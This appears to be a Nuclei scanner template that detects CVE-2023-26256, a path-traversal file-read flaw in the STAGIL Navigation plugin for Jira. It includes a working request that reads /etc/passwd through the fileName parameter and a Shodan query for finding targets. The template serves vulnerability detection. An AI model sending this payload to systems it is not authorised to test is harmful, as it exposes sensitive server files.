id: CVE-2023-26256

info:
  name: STAGIL Navigation for Jira Menu & Themes <2.0.52 - Local File Inclusion
  author: pikpikcu
  severity: high
  description: |
    STAGIL Navigation for Jira Menu & Themes plugin before 2.0.52 is susceptible to local file inclusion via modifying the fileName parameter to the snjFooterNavigationConfig endpoint. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can potentially allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server.
  remediation: |
    Upgrade STAGIL Navigation for Jira Menu & Themes to version 2.0.52 or higher to fix the Local File Inclusion vulnerability.
  reference:
    - https://github.com/1nters3ct/CVEs/blob/main/CVE-2023-26256.md
    - https://marketplace.atlassian.com/apps/1216090/stagil-navigation-for-jira-menus-themes?tab=overview&hosting=cloud
    - https://nvd.nist.gov/vuln/detail/CVE-2023-26256
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-26256
    cwe-id: CWE-22
    epss-score: 0.00599
    epss-percentile: 0.76089
    cpe: cpe:2.3:a:stagil:stagil_navigation:*:*:*:*:*:jira:*:*
  metadata:
    max-request: 1
    vendor: stagil
    product: stagil_navigation
    framework: jira
    shodan-query: title:Jira
  tags: cve,cve2023,lfi,jira,cms,atlassian,stagil

http:
  - method: GET
    path:
      - "{{BaseURL}}/plugins/servlet/snjFooterNavigationConfig?fileName=../../../../etc/passwd&fileMime=$textMime"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - '$textMime'

      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
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